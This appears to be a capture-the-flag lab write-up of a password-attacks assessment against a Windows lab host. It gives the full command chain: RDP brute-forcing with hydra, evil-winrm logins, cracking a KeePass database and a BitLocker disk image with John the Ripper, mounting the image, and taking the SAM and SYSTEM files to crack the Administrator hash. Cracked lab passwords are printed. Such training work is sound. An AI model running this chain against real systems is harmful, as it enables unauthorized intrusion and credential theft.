Lab - Hard

The next host is a Windows-based client. As with the previous assessments, our client would like to make sure that an attacker cannot gain access to any sensitive files in the event of a successful attack. While our colleagues were busy with other hosts on the network, we found out that the user Johanna is present on many hosts. However, we have not yet been able to determine the exact purpose or reason for this.

Given that the user Johanna appears on multiple hosts, we should proceed with attempting to crack her password.

The host is a Windows-based client, so we will proceed with cracking using the RDP protocol.

hydra -l johanna -P mut_password.list rdp://10.129.211.174

We have obtained the password for the user Johanna. Let's proceed with logging in using these credentials.

evil-winrm -i 10.129.211.174 -u johanna -p 1231234!

We have successfully logged in. Let's proceed with the next steps.

download "C:/Users/johanna/Documents/Logins.kdbx" /home/htb-ac-1224655/Logins.kdbx

I located a file named Logins.kdbx and subsequently downloaded it to my analysis workstation.

The file is password-protected. Therefore, we should attempt to extract the password hash from this KeePass database file.

eepass2john Logins.kdbx > keys.hash
john --wordlist=mut_password.list keys.hash

Now let's open the Logins.kdbx file using keepassxc.

I discovered credentials for the user "david."

After a while, I used smbclient with David's credentials to assess the available resources.

smbclient -U david //10.129.211.174/david

There is a virtual hard disk named Backup.vhd. let's transfer it to our attacking machine.

It's an encrypted virtual hard disk. Let's proceed with the decryption process.

Let's extract the BitLocker recovery information from the VHD file and format it into a hash that can be used for password cracking with John the Ripper.

bitlocker2john -i Backup.vhd > backup.hashes
grep "bitlocker\$0" backup.hashes > backup.hash
john --wordlist=mut_password.list backup.hash
sudo mkdir /media/backup_bitlocker /media/mount
sudo losetup -P /dev/loop100 Backup.vhd
sudo dislocker -v -V /dev/loop100p2 -u -- /media/backup_bitlocker
sudo mount -o loop,rw /media/backup_bitlocker/dislocker-file /media/mount
ls -la /media/mount
sudo cp /media/mount/SAM /root
sudo cp /media/mount/SYSTEM /root

Here, we can see the NT hash for the Administrator account.

Let's save the file and attempt to crack it using John the Ripper.

john --format=NT --wordlist=mut_password.list admin.hash

We now have the password. Let's proceed with connecting using these credentials.

evil-winrm -i 10.129.211.174 -u administrator -p Liverp00l8!

Now we can get the flag.

Last updated